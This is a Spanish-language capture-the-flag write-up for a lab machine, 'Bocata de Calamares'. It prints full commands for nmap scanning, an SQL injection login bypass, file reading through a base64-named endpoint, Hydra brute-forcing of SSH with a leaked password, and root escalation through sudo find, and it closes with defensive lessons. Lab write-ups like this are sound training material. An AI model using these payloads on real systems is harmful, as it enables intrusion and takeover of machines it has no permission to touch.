Bocata de Calamares
SQL Injection en login para acceso a panel admin, LFI mediante endpoint base64, brute force SSH y escalada de privilegios con find SUID.
Índice
- Reconocimiento
- Enumeración web
- Explotación — SQL Injection
- LFI — Lectura de ficheros
- Foothold — SSH
- Escalada de privilegios — find SUID
- Flags
Reconocimiento
Escaneo de puertos y servicios:
sudo nmap -T4 -F -sC -sV -Pn -n -oA calamares_nmap 192.168.72.131
Resultado:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.5
80/tcp open http nginx 1.24.0 (Ubuntu)
|_http-title: AFN
MAC Address: 00:0C:29:EE:56:AF (VMware)
Solo dos puertos abiertos. El vector principal será el servidor web en el puerto 80.
Escaneo de vulnerabilidades
sudo nmap -T4 --script=vuln -p 22,80 192.168.72.131
Hallazgos relevantes:
| http-cookie-flags:
| /admin.php:
| PHPSESSID: httponly flag not set
| /login.php:
| PHPSESSID: httponly flag not set
| http-enum:
| /admin.php: Possible admin folder
|_ /login.php: Possible admin folder
Las cookies de sesión no tienen la flag httponly. Además se identifican dos endpoints de administración: /admin.php y /login.php.
Enumeración web
Cargamos la web en el navegador y navegamos por las diferentes secciones. Encontramos la página sqli.php que nos habla de inyección SQL — una pista directa sobre el vector de ataque.
Accedemos a /login.php donde encontramos un formulario de login.
Explotación — SQL Injection
Probamos SQLi clásico en el campo de contraseña:
Usuario: admin
Password: ' OR '1'='1
El bypass funciona y obtenemos acceso al panel de administración /admin.php.
LFI — Lectura de ficheros
En el panel de administración hay un enlace a todo-list.php. Dentro de las tareas encontramos una entrada que menciona una página llamada lee_archivos codificada en base64:
echo "lee_archivos" | base64
# bGVlX2FyY2hpdm9zCg==
Accedemos a /bGVlX2FyY2hpdm9zCg==.php y encontramos un buscador de ficheros — LFI confirmado. Leemos /etc/passwd y filtramos usuarios con shell bash:
cat calamaresUser.txt | grep /bin/bash
root:x:0:0:root:/root:/bin/bash
tyuiop:x:1000:1000:tyuiop:/home/tyuiop:/bin/bash
superadministrator:x:1001:1001:,,,:/home/superadministrator:/bin/bash
El fichero /etc/shadow no es accesible, pero tenemos los usuarios del sistema.
Foothold — SSH
Con los usuarios obtenidos lanzamos un ataque de fuerza bruta contra SSH:
hydra -L users.txt -P /usr/share/wordlists/rockyou.txt ssh://192.168.72.131 -f -V -u -t 4
Resultado:
[22][ssh] host: 192.168.72.131 login: superadministrator password: princesa
Accedemos al sistema:
ssh superadministrator@192.168.72.131
# Password: princesa
superadministrator@thehackerslabs-bocatacalamares:~$ ls
flag.txt recordatorio.txt
🚩 Flag de usuario capturada.
El fichero recordatorio.txt menciona GTFOBins — una pista directa sobre el siguiente paso.
Escalada de privilegios — find SUID
sudo -l
User superadministrator may run the following commands on thehackerslabs-bocatacalamares:
(ALL) NOPASSWD: /usr/bin/find
superadministrator puede ejecutar find como root sin contraseña. Según GTFOBins:
sudo find / -exec /bin/sh -p \; -quit
# whoami
root
🚩 Flag de root capturada.
Flags
| Flag | Ruta |
|---|---|
| User | ~/flag.txt |
| Root | /root/root.txt |
Lecciones aprendidas
SQL Injection — bypass de login
El payload ' OR '1'='1 en el campo de contraseña es el SQLi más básico. Si el backend construye la query concatenando strings sin sanitizar, siempre funcionará. La solución es usar prepared statements.
LFI — endpoint ofuscado en base64
La aplicación usaba base64 para “ocultar” nombres de páginas en la URL. No es seguridad, es oscuridad. Con el nombre del fichero en la todo-list y un simple echo | base64 se obtiene la ruta directamente.
GTFOBins — find
find con permisos sudo permite ejecutar comandos arbitrarios mediante -exec. Siempre revisar sudo -l y consultar GTFOBins para cualquier binario con permisos elevados.